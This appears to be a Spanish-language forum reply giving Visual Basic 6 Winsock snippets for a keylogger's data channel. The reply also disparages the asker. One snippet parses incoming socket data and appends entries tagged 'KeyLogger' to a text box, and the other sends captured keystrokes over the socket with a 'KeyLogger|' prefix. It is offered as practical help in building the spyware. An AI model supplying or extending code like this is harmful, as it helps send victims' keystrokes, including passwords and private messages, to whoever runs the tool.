Obviamente por que en ese codigo todo lo reicivido lo pones como tecla , te recomiendo que aprendas a programar antes

.
Repondiendo a tu pregunta:
Pon este codigo en data arrival:
dim datos as string
dim variante as variant
ws.getdata datos
variante = split(datos,"|")
if variante(0) = "KeyLogger" then
keylogger.text = keylogger.text & variante(1)
else
'Si no es "KeyLogger" realisar otra cosa :P
end if
y mandas asi los datos pàra el keylogger:
ws.senddata "KeyLogger|" & datos a enviar para el keylogger
Edit: Abia un error en el code me confundi y cerre el if como en asm xD